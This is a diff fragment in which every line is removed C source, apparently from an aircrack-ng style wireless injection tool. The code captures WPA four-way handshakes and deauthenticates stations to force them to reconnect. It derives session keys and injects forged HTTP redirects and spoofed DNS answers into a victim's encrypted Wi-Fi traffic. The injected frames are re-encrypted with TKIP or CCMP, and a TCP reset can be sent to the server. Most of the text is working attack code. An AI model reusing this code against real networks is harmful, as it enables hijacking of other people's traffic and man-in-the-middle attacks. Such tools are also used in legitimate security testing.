- * one's compliment of the one's compliment sum of 16 bit words of the header
- */
-static u_int16_t calcsum(u_int16_t * buffer, u_int32_t length)
-{
-	u_int32_t sum;
-
-	// initialize sum to zero and loop until length (in words) is 0
-	for (sum = 0; length > 1; length -= 2) // sizeof() returns number of bytes,
-		// we're interested in number of
-		// words
-		sum += *buffer++; // add 1 word of buffer to sum and proceed to the next
-
-	// we may have an extra byte
-	if (length == 1) sum += (u_int8_t) *buffer;
-
-	sum = (sum >> 16) + (sum & 0xFFFF); // add high 16 to low 16
-	sum += (sum >> 16); // add carry
-	return ~sum;
-}
-// This needs to be cleaned up so that we can do UDP/TCP in one function. Don't
-// want to do that now and risk
-// breaking UDP checksums right now
-static u_int16_t calcsum_tcp(u_int16_t * buf,
-							 u_int32_t len,
-							 u_int32_t src_addr,
-							 u_int32_t dest_addr)
-{
-	u_int32_t chksum;
-	u_int32_t length = len;
-	u_int16_t * ip_src = (u_int16_t *) &src_addr;
-	u_int16_t * ip_dst = (u_int16_t *) &dest_addr;
-
-	// Calculate the chksum
-	chksum = 0;
-	while (len > 1)
-	{
-		chksum += *buf++;
-		if (chksum & 0x80000000) chksum = (chksum & 0xFFFF) + (chksum >> 16);
-		len -= 2;
-	}
-
-	if (len & 1)
-		// Add the padding if the packet length is odd
-		chksum += *((u_int8_t *) buf);
-
-	// Add the pseudo-header
-	chksum += *(ip_src++);
-	chksum += *ip_src;
-
-	chksum += *(ip_dst++);
-	chksum += *ip_dst;
-
-	chksum += htons(IPPROTO_TCP);
-	chksum += htons(length);
-
-	while (chksum >> 16) chksum = (chksum & 0xFFFF) + (chksum >> 16);
-
-	// Return the one's complement of chksum
-	return ((u_int16_t)(~chksum));
-}
-
-static u_int16_t calcsum_udp(u_int16_t * buf,
-							 u_int32_t len,
-							 u_int32_t src_addr,
-							 u_int32_t dest_addr)
-{
-	u_int32_t chksum;
-	u_int32_t length = len;
-	u_int16_t * ip_src = (u_int16_t *) &src_addr;
-	u_int16_t * ip_dst = (u_int16_t *) &dest_addr;
-
-	// Calculate the chksum
-	chksum = 0;
-	while (len > 1)
-	{
-		chksum += *buf++;
-		if (chksum & 0x80000000) chksum = (chksum & 0xFFFF) + (chksum >> 16);
-		len -= 2;
-	}
-
-	if (len & 1)
-		// Add the padding if the packet length is odd
-		chksum += *((u_int8_t *) buf);
-
-	// Add the pseudo-header
-	chksum += *(ip_src++);
-	chksum += *ip_src;
-
-	chksum += *(ip_dst++);
-	chksum += *ip_dst;
-
-	chksum += htons(IPPROTO_UDP);
-	chksum += htons(length);
-
-	while (chksum >> 16) chksum = (chksum & 0xFFFF) + (chksum >> 16);
-
-	// Return the one's complement of chksum
-	return ((u_int16_t)(~chksum));
-}
-
-static inline u_int8_t * packet_get_sta_80211(u_int8_t * pkt)
-{
-	struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
-
-	// IF TODS
-	if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
-	{
-		return (u_int8_t *) &p_res802->i_addr2;
-	}
-	// IF FROMDS
-	else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-	{
-		return (u_int8_t *) &p_res802->i_addr1;
-	}
-
-	return NULL;
-}
-
-static inline u_int8_t * packet_get_bssid_80211(u_int8_t * pkt)
-{
-	struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
-
-	// IF TODS
-	if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
-	{
-		return (u_int8_t *) &p_res802->i_addr1;
-	}
-	// IF FROMDS
-	else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-	{
-		return (u_int8_t *) &p_res802->i_addr2;
-	}
-
-	return NULL;
-}
-
-static void packet_turnaround_80211(u_int8_t * pkt)
-{
-	struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
-	u_int8_t tmp_mac[IEEE80211_ADDR_LEN] = {0};
-
-	// IF TODS, flip to FROMDS
-	if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
-	{
-		p_res802->i_fc[1] = p_res802->i_fc[1] & ~(char) IEEE80211_FC1_DIR_TODS;
-		p_res802->i_fc[1] = p_res802->i_fc[1] | IEEE80211_FC1_DIR_FROMDS;
-	}
-	// IF FROMDS, Flip to TODS
-	else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-	{
-		p_res802->i_fc[1] = p_res802->i_fc[1] & ~IEEE80211_FC1_DIR_FROMDS;
-		p_res802->i_fc[1] = p_res802->i_fc[1] | IEEE80211_FC1_DIR_TODS;
-	}
-
-	memcpy(tmp_mac, p_res802->i_addr1, IEEE80211_ADDR_LEN);
-	memcpy(p_res802->i_addr1, p_res802->i_addr2, IEEE80211_ADDR_LEN);
-	memcpy(p_res802->i_addr2, tmp_mac, IEEE80211_ADDR_LEN);
-
-	return;
-}
-
-static void packet_turnaround_ip(struct ip_frame * p_resip)
-{
-	// Switch the IP source and destination addresses
-	u_int32_t tmp_addr = p_resip->saddr;
-	p_resip->saddr = p_resip->daddr;
-	p_resip->daddr = tmp_addr;
-	p_resip->ttl = 63;
-}
-
-static void packet_turnaround_ip_udp(struct udp_hdr * p_resudp)
-{
-	// Switch the UDP source and destination Ports
-	u_int16_t tmp_port = p_resudp->sport;
-	p_resudp->sport = p_resudp->dport;
-	p_resudp->dport = tmp_port;
-}
-
-static void packet_turnaround_ip_tcp(struct tcp_hdr * p_restcp,
-									 u_int32_t next_seq_hint)
-{
-	// Switch the TCP source and destination Ports
-	u_int16_t tmp_port = p_restcp->sport;
-	p_restcp->sport = p_restcp->dport;
-	p_restcp->dport = tmp_port;
-
-	u_int32_t tmp_num = p_restcp->seqnu;
-	p_restcp->seqnu = p_restcp->ack_seq;
-	p_restcp->ack_seq = tmp_num;
-
-	// Increment seq by the length of the data in the current packet
-	tmp_num = ntohl(p_restcp->ack_seq) + next_seq_hint;
-
-	p_restcp->ack_seq = htonl(tmp_num);
-}
-
-static u_int16_t dns_name_end(u_int8_t * buff, u_int16_t maxlen)
-{
-	u_int8_t * ptr = buff;
-	u_int8_t count = 0;
-	u_int16_t offset = 0;
-
-	while (offset < maxlen)
-	{
-		count = ptr[0] + 1;
-		offset += count;
-		ptr += count;
-
-		if (count == 1) break;
-	};
-
-	return offset;
-}
-
-static int strip_ccmp_header(u_int8_t * h80211, int caplen, unsigned char PN[6])
-{
-	int is_a4, z, is_qos;
-
-	is_a4 = (h80211[1] & 3) == 3;
-	is_qos = (h80211[0] & 0x8C) == 0x88;
-	z = 24 + 6 * is_a4;
-	z += 2 * is_qos;
-
-	// Insert CCMP header
-	// memmove( h80211+z+8, h80211+z, caplen-z );
-	PN[5] = h80211[z + 0];
-	PN[4] = h80211[z + 1];
-	PN[3] = h80211[z + 4];
-	PN[2] = h80211[z + 5];
-	PN[1] = h80211[z + 6];
-	PN[0] = h80211[z + 7];
-	memmove(h80211 + z, h80211 + z + 8, caplen - z);
-
-	// return new length, encrypt_ccmp() expects on encryption artifacts in
-	// frame,
-	// and states frame is encrypted in place resulting in extra 16 bytes?
-	return caplen - 16;
-}
-
-static void
-encrypt_data_packet(u_int8_t * packet, int length, struct WPA_ST_info * sta_cur)
-{
-	if ((NULL == sta_cur) || (!sta_cur->valid_ptk))
-	{
-		return;
-	}
-	else
-	{
-		// if the PTK is valid, try to decrypt
-		if (sta_cur->keyver == 1)
-		{
-			// printf("TKIP packet length = %d\n", length );
-			// hexDump("full before encrypt", packet, length);
-			encrypt_tkip(packet, length, sta_cur->ptk);
-		}
-		else
-		{
-			// printf("CCMP Packet\n");
-			// This will take the current packet that already
-			// has a ccmp header and strip it and return the PN
-			// This is required so that we comply with the
-			// encrypt_ccmp function in crypto.c
-			unsigned char PN[6] = {0};
-			length = strip_ccmp_header(packet, length, PN);
-			encrypt_ccmp(packet, length, sta_cur->ptk + 32, PN);
-		}
-	}
-}
-
-// Global packet buffer for use in building response packets
-uint8_t pkt[2048] = {0};
-
-static void process_unencrypted_data_packet(u_int8_t * packet,
-											u_int32_t length,
-											u_int32_t debug)
-{
-	if (debug) hexDump("full", packet, length);
-
-	u_int8_t * packet_start = packet;
-	int packet_start_length = length;
-	char extra_enc_length = 0;
-	// char flag_reencypt
-
-	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
-
-	int size_80211hdr = sizeof(struct ieee80211_frame);
-
-	// Check to see if we have a QOS 802.11 frame
-	if (IEEE80211_FC0_SUBTYPE_QOS & wfrm->i_fc[0])
-	{
-		size_80211hdr = sizeof(struct ieee80211_qosframe);
-		// Here's an idea from a presentation out of NL, assign this packet
-		// a QOS priority that isn't used in order to not collide with
-		// squence numbers from the real AP/STA
-		struct ieee80211_qosframe * wqfrm
-			= (struct ieee80211_qosframe *) packet;
-		wqfrm->i_qos[0] = 0x7;
-	}
-
-	// Increment the 802.11 sequence number
-	uint16_t * p_seq = (uint16_t *) &wfrm->i_seq;
-	uint16_t pkt_sent = (*p_seq) >> 4;
-	pkt_sent += 1;
-	// printf("seq = %d\n", pkt_sent);
-	packet[22] = (pkt_sent & 0x0000000F) << 4;
-	packet[23] = (pkt_sent & 0x00000FF0) >> 4;
-
-	// Skip over the 802.11 header
-	packet += size_80211hdr;
-	length -= size_80211hdr;
-
-	// If the protected bit is set, we decrypted this packet and passed it on
-	// here
-	// Calculate the correct offset to the start of the data
-	if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
-	{
-		if (0 == (packet[3] & 0x20))
-		{
-			// this is a regular WEP IV field
-			extra_enc_length = 4;
-		}
-		else
-		{
-			// this is a Extended IV field
-			extra_enc_length = 8;
-		}
-		packet += extra_enc_length;
-		length -= extra_enc_length;
-		size_80211hdr += extra_enc_length;
-	}
-
-	struct llc_frame * p_llc = (struct llc_frame *) packet;
-	if (debug) hexDump("llc", p_llc, length);
-	packet += sizeof(struct llc_frame);
-	length -= sizeof(struct llc_frame);
-	// Sanity check...
-	// We should have a data packet. Check for LLC
-	if (p_llc->i_dsap == 0xAA && p_llc->i_ssap == 0xAA)
-	{
-		// If it's an EAPOL frame, let's capture the handshake
-		if (ETHTYPE_8021x == p_llc->i_ethtype)
-		{
-			struct dot1x_hdr * p_d1x = (struct dot1x_hdr *) packet;
-			struct radius_hdr * p_rhdr
-				= (struct radius_hdr *) (packet + sizeof(struct dot1x_hdr));
-
-			// Must be a key frame, and must be RSN (2) or WPA (254)
-			if ((DOT1X_ID_EAP_KEY != p_d1x->idtype)
-				|| (2 != p_rhdr->code && 254 != p_rhdr->code))
-			{
-				return;
-			}
-
-			// frame 1 of 4: Pairwise == 1, Install == 0, Ack == 1, MIC == 0,
-			// Secure == 0 */
-			if (1 == p_rhdr->key_type && 0 == p_rhdr->key_install
-				&& 1 == p_rhdr->key_ack
-				&& 0 == p_rhdr->key_mic)
-			{
-				/* set authenticator nonce */
-				memcpy(opt.st_cur->anonce, p_rhdr->wpa_nonce, 32);
-				printf(COL_4WAYHS "------> #1, Captured anonce " COL_REST);
-				PRINTMAC(opt.st_cur->stmac);
-			}
-
-			/* frame 2 of 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1,
-			 * Secure == 0 */
-			/* frame 4 of 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1,
-			 * Secure == 1 */
-			if (1 == p_rhdr->key_type && 0 == p_rhdr->key_install
-				&& 0 == p_rhdr->key_ack
-				&& 1 == p_rhdr->key_mic)
-			{
-				if (memcmp(p_rhdr->wpa_nonce, ZERO, 32) != 0)
-				{
-					/* set supplicant nonce */
-					memcpy(opt.st_cur->snonce, p_rhdr->wpa_nonce, 32);
-					printf(COL_4WAYHS "------> #2, Captured snonce " COL_REST);
-				}
-				else
-				{
-					printf(COL_4WAYHS "------> #4, Captured        " COL_REST);
-				}
-				PRINTMAC(opt.st_cur->stmac);
-
-				opt.st_cur->eapol_size
-					= ntohs(p_d1x->length) + 4; // 4 is sizeof radius header
-
-				if (length < opt.st_cur->eapol_size
-					|| opt.st_cur->eapol_size == 0
-					|| opt.st_cur->eapol_size > sizeof(opt.st_cur->eapol))
-				{
-					// Ignore the packet trying to crash us.
-					printf("Caught a packet trying to crash us, sneaky "
-						   "bastard!\n");
-					hexDump("Offending Packet:", packet, length);
-					opt.st_cur->eapol_size = 0;
-					return;
-				}
-				// Save the MIC
-				memcpy(opt.st_cur->keymic, p_rhdr->wpa_key_mic, 16);
-				// Save the whole EAPOL frame
-				memcpy(opt.st_cur->eapol, p_d1x, opt.st_cur->eapol_size);
-				// Clearing the MIC in the saves EAPOL frame
-				memset(opt.st_cur->eapol + 81, 0, 16);
-
-				// copy the key descriptor version
-				opt.st_cur->keyver = p_rhdr->key_ver;
-			}
-
-			/* frame 3 of 4: Pairwise == 1, Install == 1, Ack == 1, MIC == 1,
-			 * Secure == 1 */
-			if (1 == p_rhdr->key_type && 1 == p_rhdr->key_install
-				&& 1 == p_rhdr->key_ack
-				&& 1 == p_rhdr->key_mic)
-			{
-				if (memcmp(p_rhdr->wpa_nonce, ZERO, 32) != 0)
-				{
-					/* set authenticator nonce (again) */
-					memcpy(opt.st_cur->anonce, p_rhdr->wpa_nonce, 32);
-					printf(COL_4WAYHS "------> #3, Captured anonce " COL_REST);
-					PRINTMAC(opt.st_cur->stmac);
-				}
-				// WARNING: Serious Code Reuse here!!!
-				opt.st_cur->eapol_size
-					= ntohs(p_d1x->length) + 4; // 4 is sizeof radius header
-
-				if (length < opt.st_cur->eapol_size
-					|| opt.st_cur->eapol_size == 0
-					|| opt.st_cur->eapol_size > sizeof(opt.st_cur->eapol))
-				{
-					// Ignore the packet trying to crash us.
-					printf("Caught a packet trying to crash us, sneaky "
-						   "bastard!\n");
-					hexDump("Offending Packet:", packet, length);
-					opt.st_cur->eapol_size = 0;
-					return;
-				}
-				// Save the MIC
-				memcpy(opt.st_cur->keymic, p_rhdr->wpa_key_mic, 16);
-				// Save the whole EAPOL frame
-				memcpy(opt.st_cur->eapol, p_d1x, opt.st_cur->eapol_size);
-				// Clearing the MIC in the saves EAPOL frame
-				memset(opt.st_cur->eapol + 81, 0, 16);
-
-				// copy the key descriptor version
-				opt.st_cur->keyver = p_rhdr->key_ver;
-			}
-
-			memset(opt.st_cur->ptk, 0, 80);
-
-			// opt.st_cur->valid_ptk = calc_ptk( opt.st_cur, opt.st_cur->pmk );
-			opt.st_cur->valid_ptk = calc_ptk(opt.st_cur, opt.pmk);
-			if (1 == opt.st_cur->valid_ptk)
-			{
-
-				hexDump(
-					COL_4WAYKEY "MIC" COL_4WAYKEYDATA, opt.st_cur->keymic, 16);
-				hexDump(
-					COL_4WAYKEY "stmac" COL_4WAYKEYDATA, opt.st_cur->stmac, 6);
-				hexDump(
-					COL_4WAYKEY "bssid" COL_4WAYKEYDATA, opt.st_cur->bssid, 6);
-				hexDump(COL_4WAYKEY "anonce" COL_4WAYKEYDATA,
-						opt.st_cur->anonce,
-						32);
-				hexDump(COL_4WAYKEY "snonce" COL_4WAYKEYDATA,
-						opt.st_cur->snonce,
-						32);
-				hexDump(COL_4WAYKEY "keymic" COL_4WAYKEYDATA,
-						opt.st_cur->keymic,
-						16);
-				hexDump(COL_4WAYKEY "epol" COL_4WAYKEYDATA,
-						opt.st_cur->eapol,
-						opt.st_cur->eapol_size);
-				printf(COL_BLUE "Valid key: ");
-				PRINTMAC(opt.st_cur->stmac);
-				printf("\n" COL_REST);
-			}
-
-			return;
-		}
-		else if ((short) ETHTYPE_IP == p_llc->i_ethtype)
-		{
-			// We have an IP frame
-			int offset_ip = size_80211hdr + sizeof(struct llc_frame);
-			int offset_proto = offset_ip + sizeof(struct ip_frame);
-
-			struct ip_frame * p_ip = (struct ip_frame *) packet;
-			packet += sizeof(struct ip_frame);
-			length -= sizeof(struct ip_frame);
-
-			if ((short) PROTO_TCP == p_ip->protocol)
-			{
-
-				struct tcp_hdr * p_tcp = (struct tcp_hdr *) packet;
-				if (80 == ntohs(p_tcp->dport))
-				{
-					length += extra_enc_length;
-					// TCP header size = first 4bits * 32 / 8, same as first
-					// 4bits *4
-					u_int32_t hdr_size = p_tcp->doff * 4;
-					u_int8_t * p_http = packet + hdr_size;
-					u_int32_t l_http = length - hdr_size;
-					// Find a GET
-					if ((1 == opt.flag_http_hijack)
-						&& (p_http[0] == 0x47 && p_http[1] == 0x45
-							&& p_http[2] == 0x54))
-					{
-						int ret = fnmatch((const char *) opt.p_hijack_str,
-										  (const char *) p_http,
-										  FNM_PERIOD);
-						if (0 == ret)
-						{
-							printf("This frame matched a term we are looking "
-								   "for\n");
-							if (NULL != opt.p_redir_url)
-							{
-								char * p_hit
-									= strstr((const char *) p_http,
-											 (const char *) opt.p_redir_url);
-								if (NULL != p_hit)
-								{
-									printf("Caught our own redirect, ignoring "
-										   "this packet\n");
-									return;
-								}
-								else
-								{
-									printf("this is not a redirect to our "
-										   "server\n");
-								}
-							}
-						}
-						else
-						{
-							printf("pattern %s, not in this packet\n",
-								   opt.p_hijack_str);
-							return;
-						}
-
-						memcpy(pkt, packet_start, packet_start_length);
-
-						struct tcp_hdr * p_restcp
-							= (struct tcp_hdr *) (pkt + offset_proto);
-						struct ip_frame * p_resip
-							= (struct ip_frame *) (pkt + offset_ip);
-						u_int32_t res_length
-							= packet_start_length; // This only initially until
-						// we replace content
-
-						//-----------------------------------------------------------------------------
-						// Do some magic here... to create a frame to close the
-						// server connection
-						memcpy(tmpbuf, pkt, packet_start_length);
-						struct ip_frame * p_resip_ack
-							= (struct ip_frame *) (tmpbuf + offset_ip);
-						struct tcp_hdr * p_restcp_ack
-							= (struct tcp_hdr *) (tmpbuf + offset_proto);
-
-						res_length
-							= offset_proto + hdr_size
-							  + extra_enc_length; // have to account for MIC
-						p_resip_ack->id = htons(ntohs(p_resip_ack->id) + 1023);
-						p_resip_ack->tot_len
-							= htons(hdr_size + sizeof(struct ip_frame));
-						p_resip_ack->check = 0;
-						p_resip_ack->check
-							= calcsum((unsigned short *) p_resip_ack,
-									  sizeof(struct ip_frame));
-
-						// We could try some stuff with tcp reset
-						// p_restcp_ack->fin = 1;
-						// p_restcp_ack->ack = 0;
-						// p_restcp_ack->psh = 0;
-						p_restcp_ack->rst = 1;
-
-						// Lets calculate the TCP checksum
-						p_restcp_ack->checksum = 0;
-						p_restcp_ack->checksum
-							= calcsum_tcp((void *) p_restcp_ack,
-										  (hdr_size),
-										  p_resip_ack->saddr,
-										  p_resip_ack->daddr);
-
-						int tmpbuf_len = res_length;
-						// Going to send the packet later, after we send the
-						// redirect...
-						// if( send_packet( tmpbuf, res_length ) != 0 )
-						//    printf("ERROR: couldn't send Ack\n");
-						//-----------------------------------------------------------------------------
-						// The silly extra TCP options were messing with me,
-						// Packets with TCP options
-						// Weren't being accepted. Probably some silly offset
-						// miscalculation. But for
-						// Our purposes, just cut these out.
-						// So get those options out of there
-						int diff = hdr_size - sizeof(struct tcp_hdr);
-						if (0 != diff)
-						{
-							hdr_size = sizeof(struct tcp_hdr);
-							p_resip->tot_len
-								= htons(ntohs(p_resip->tot_len) - diff);
-						}
-						// Update the TCP header with the new size (if changed)
-						p_restcp->doff = hdr_size / 4;
-
-						// start manipulating the packet to turn it around back
-						// to the sender
-						packet_turnaround_80211(pkt);
-						packet_turnaround_ip(p_resip);
-						packet_turnaround_ip_tcp(p_restcp,
-												 ntohs(p_resip->tot_len)
-													 - sizeof(struct ip_frame)
-													 - hdr_size);
-
-						// Pointer to the start of the http section
-						p_http = pkt + offset_proto + hdr_size;
-						l_http = strlen(opt.p_redir_pkt_str);
-
-						// Copy the http frame we wish to send
-						memcpy(p_http, opt.p_redir_pkt_str, l_http);
-						res_length
-							= offset_proto + hdr_size + l_http
-							  + extra_enc_length; // have to account for MIC
-
-						// Set checksum to zero before calculating...
-						p_resip->frag_off = 0x0000;
-						// Incrementing the ID by something, Could try to
-						// calculate this...
-						p_resip->id = htons(ntohs(p_resip->id) + 1025);
-						p_resip->tot_len = htons(l_http + hdr_size
-												 + sizeof(struct ip_frame));
-						p_resip->check = 0;
-						p_resip->check = calcsum((unsigned short *) p_resip,
-												 sizeof(struct ip_frame));
-
-						// Lets calculate the TCP checksum
-						p_restcp->checksum = 0;
-						p_restcp->checksum = calcsum_tcp((void *) p_restcp,
-														 (hdr_size + l_http),
-														 p_resip->saddr,
-														 p_resip->daddr);
-
-						if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
-						{
-							if (opt.st_cur->keyver == 1)
-							{
-								res_length += 4;
-							}
-							encrypt_data_packet(pkt, res_length, opt.st_cur);
-							encrypt_data_packet(tmpbuf, tmpbuf_len, opt.st_cur);
-						}
-
-						printf(COL_HTTPINJECT "---> Injecting Redirect Packet "
-											  "to: " COL_HTTPINJECTDATA);
-						PRINTMAC(opt.st_cur->stmac);
-						printf(COL_REST);
-
-						if (send_packet(pkt, res_length) != 0)
-							printf("Error Sending Packet\n");
-						printf("\n");
-						// Uncomment to send RST packet to the server
-						// if( send_packet( tmpbuf, tmpbuf_len ) != 0 )
-						//    printf("ERROR: couldn't send Ack\n");
-						return;
-					}
-				}
-			}
-			else if ((short) PROTO_UDP == p_ip->protocol && opt.flag_dnsspoof)
-			{
-				struct udp_hdr * p_udp = (struct udp_hdr *) packet;
-
-				// DNS packet
-				if (53 == ntohs(p_udp->dport))
-				{
-					hexDump("DNS", (void *) packet, length);
-					memcpy(pkt, packet_start, packet_start_length);
-					packet_turnaround_80211(pkt);
-					packet_turnaround_ip((struct ip_frame *) (pkt + offset_ip));
-					packet_turnaround_ip_udp(
-						(struct udp_hdr *) (pkt + offset_proto));
-
-					struct udp_hdr * p_resudp
-						= (struct udp_hdr *) (pkt + offset_proto);
-
-					int dns_offset = offset_proto + sizeof(struct udp_hdr);
-					u_int8_t * p_dns = packet_start + dns_offset;
-					u_int8_t * p_resdns = pkt + dns_offset;
-
-					// Copy the beginning part of the packet
-					memcpy(p_resdns, DNS_RESP_PCKT_1, sizeof(DNS_RESP_PCKT_1));
-					struct dns_query * p_dnsq = (struct dns_query *) p_dns;
-					int dns_qlen = dns_name_end((u_int8_t *) &p_dnsq->qdata,
-												packet_start_length);
-
-					// Copy the request DNS name into the response
-					memcpy(p_resdns + sizeof(DNS_RESP_PCKT_1) - 1,
-						   (void *) &p_dnsq->qdata,
-						   dns_qlen);
-					// Copy the rest of the DNS packet
-					memcpy(p_resdns + sizeof(DNS_RESP_PCKT_1) - 1 + dns_qlen,
-						   DNS_RESP_PCKT_2,
-						   sizeof(DNS_RESP_PCKT_2));
-					// Calculate the new resp length
-					int dns_resplen = sizeof(DNS_RESP_PCKT_1) - 1 + dns_qlen
-									  + sizeof(DNS_RESP_PCKT_2);
-
-					struct sockaddr_in s_in;
-					inet_pton(AF_INET, "127.0.0.1", &s_in); // Website will work
-					memcpy(p_resdns + dns_resplen - 5, &s_in, 4);
-					// int ret = inet_aton("192.168.1.102", &s_in);
-					// int ret = inet_aton("50.89.71.10", &s_in);
-
-					// Copy over our own specified IP address
-					// memcpy(p_resdns + dns_resplen - 5, &opt.p_dnsspoof_ip,
-					// 4);
-
-					// copy the Transaction ID
-					p_resdns[0] = p_dns[0];
-					p_resdns[1] = p_dns[1];
-
-					struct ip_frame * p_resip
-						= (struct ip_frame *) (pkt + offset_ip);
-					p_resip->tot_len
-						= htons(dns_resplen + sizeof(struct udp_hdr)
-								+ sizeof(struct ip_frame));
-					// Set checksum to zero before calculating...
-					p_resip->check = 0;
-					p_resip->check = calcsum((unsigned short *) p_resip,
-											 sizeof(struct ip_frame));
-
-					p_resudp->len = htons(dns_resplen + sizeof(struct udp_hdr));
-					p_resudp->checksum = 0;
-					p_resudp->checksum = calcsum_udp((void *) p_resudp,
-													 ntohs(p_resudp->len),
-													 p_resip->saddr,
-													 p_resip->daddr);
-
-					hexDump("sending DNS Response:", pkt, packet_start_length);
-
-					packet_start_length = dns_offset + dns_resplen;
-					if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
-					{
-						if (opt.st_cur->keyver == 1)
-						{
-							packet_start_length += 4;
-						}
-
-						packet_start_length += extra_enc_length;
-						encrypt_data_packet(
-							pkt, packet_start_length, opt.st_cur);
-						// hexDump("Full encrypted", pkt,packet_start_length);
-					}
-
-					if (send_packet(pkt, packet_start_length) != 0)
-						printf("Error Sending Packet\n");
-
-					return;
-				}
-			}
-
-			else if ((1 == opt.flag_icmp_resp)
-					 && (short) PROTO_ICMP == p_ip->protocol)
-			{
-				struct icmp * p_icmp = (struct icmp *) packet;
-				if (p_icmp->icmp_type == 0)
-				{
-					// printf("ICMP Reply, %d, %d\n", p_icmp->icmp_id,
-					// p_icmp->icmp_seq);
-				}
-				if (p_icmp->icmp_type == 8)
-				{
-					printf("ICMP Request Caught, %d, %d\n",
-						   p_icmp->icmp_id,
-						   p_icmp->icmp_seq);
-
-					// copy the original Packet to our response packet buffer
-					memcpy(pkt, packet_start, packet_start_length);
-
-					packet_turnaround_80211(pkt);
-					packet_turnaround_ip((struct ip_frame *) (pkt + offset_ip));
-
-					// Point to the IP frame
-					struct ip_frame * p_resip
-						= (struct ip_frame *) (pkt + offset_ip);
-					// Set checksum to zero before calculating checksum...
-					p_resip->check = 0;
-					p_resip->check = calcsum((unsigned short *) p_resip,
-											 sizeof(struct ip_frame));
-
-					struct icmp * p_resicmp
-						= (struct icmp *) (pkt + size_80211hdr
-										   + sizeof(struct llc_frame)
-										   + sizeof(struct ip_frame));
-					// Set the ICMP type as response
-					p_resicmp->icmp_type = 0;
-
-					// Calculate how much data there is to calculate checksum
-					// over
-					int icmp_length
-						= packet_start_length
-						  - (size_80211hdr + sizeof(struct llc_frame)
-							 + sizeof(struct ip_frame))
-						  - extra_enc_length; // Don't forget extra MIC at the
-					// end of the frame
-
-					if (opt.st_cur->keyver == 1)
-					{
-						icmp_length -= 4;
-					}
-					p_resicmp->icmp_cksum = 0;
-					p_resicmp->icmp_cksum
-						= calcsum((unsigned short *) p_resicmp, icmp_length);
-
-					if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
-					{
-						encrypt_data_packet(
-							pkt, packet_start_length, opt.st_cur);
-					}
-
-					printf("Sending ICMP response\n");
-					if (send_packet(pkt, packet_start_length) != 0)
-						printf("Error Sending Packet\n");
-
-					return;
-				}
-			}
-		}
-	}
-}
-
-static bool is_adhoc_frame(u_int8_t * packet)
-{
-	u_int8_t * p_stmac = packet_get_sta_80211(packet);
-
-	if (NULL == p_stmac)
-	{
-		return TRUE;
-	}
-	else
-	{
-		return FALSE;
-	}
-}
-
-static bool find_station_in_db(u_int8_t * p_stmac)
-{
-	opt.st_prv = NULL;
-	opt.st_cur = opt.st_1st;
-
-	while (opt.st_cur != NULL)
-	{
-		if (!memcmp(opt.st_cur->stmac, p_stmac, 6)) break;
-
-		opt.st_prv = opt.st_cur;
-		opt.st_cur = opt.st_cur->next;
-	}
-
-	if (NULL == opt.st_cur)
-		// If not fount, opt.st_cur == NULL
-		return FALSE;
-	else
-		// If found, opt.st_cur == p_stmac
-		return TRUE;
-}
-
-static bool alloc_new_station_in_db(void)
-{
-	opt.st_cur = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info));
-
-	if (NULL == opt.st_cur)
-	{
-		perror("station malloc failed");
-		return FALSE;
-	}
-	// Zero out memory of newly allocated structure
-	memset(opt.st_cur, 0, sizeof(struct WPA_ST_info));
-	return TRUE;
-}
-
-static inline bool is_wfrm_encrypted(struct ieee80211_frame * wfrm)
-{
-	return (wfrm->i_fc[1] & IEEE80211_FC1_WEP);
-}
-
-static inline bool is_length_lt_wfrm(int length)
-{
-	return ((int) sizeof(struct ieee80211_frame) >= length);
-}
-
-static inline bool mac_is_multi_broadcast(unsigned char stmac[6])
-{
-	if ((0xFF == stmac[0]) && (0xFF == stmac[1])) return TRUE;
-	if ((0x33 == stmac[0]) && (0x33 == stmac[1])) return TRUE;
-	return FALSE;
-}
-
-static void process_station_data(u_int8_t * packet, int length)
-{
-	if (is_length_lt_wfrm(length)) return;
-
-	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
-
-	u_int8_t * p_stmac = packet_get_sta_80211(packet);
-	u_int8_t * p_bssid = packet_get_bssid_80211(packet);
-
-	if (!find_station_in_db(p_stmac))
-	{
-		if (FALSE == alloc_new_station_in_db())
-		{
-			return;
-		}
-
-		if (opt.st_1st == NULL)
-			opt.st_1st = opt.st_cur;
-		else
-			opt.st_prv->next = opt.st_cur;
-
-		memcpy(opt.st_cur->stmac, p_stmac, 6);
-		memcpy(opt.st_cur->bssid, p_bssid, 6);
-
-		if (TRUE == opt.flag_verbose)
-		{
-			printf(COL_NEWSTA "Added new station\n" COL_NEWSTADATA);
-			printf("Station = ");
-			PRINTMAC(p_stmac);
-			printf("BSSID   = ");
-			PRINTMAC(opt.st_cur->bssid);
-			printf(COL_REST);
-			// Attempt to force a de-auth and reconnect automagically ;)
-		}
-
-		if ((is_wfrm_encrypted(wfrm)) && (TRUE == opt.deauth))
-		{
-			// This frame was encrypted, so send some deauths to the station
-			// Hoping to reauth/reassoc to force 4 way handshake
-			if (FALSE == mac_is_multi_broadcast(opt.st_cur->stmac))
-			{
-				printf("Doing deauth\n");
-				deauth_station(opt.st_cur);
-				printf("\nFinished Deauth Attempt\n");
-			}
-		}
-	}
-}
-
-static inline bool wfrm_is_tods(struct ieee80211_frame * wfrm)
-{
-	return (wfrm->i_fc[1] & IEEE80211_FC1_DIR_TODS);
-}
-
-static inline bool wfrm_is_fromds(struct ieee80211_frame * wfrm)
-{
-	return (wfrm->i_fc[1] & IEEE80211_FC1_DIR_FROMDS);
-}
-
-static inline bool is_wfrm_qos(struct ieee80211_frame * wfrm)
-{
-	return (IEEE80211_FC0_SUBTYPE_QOS & wfrm->i_fc[0]);
-}
-
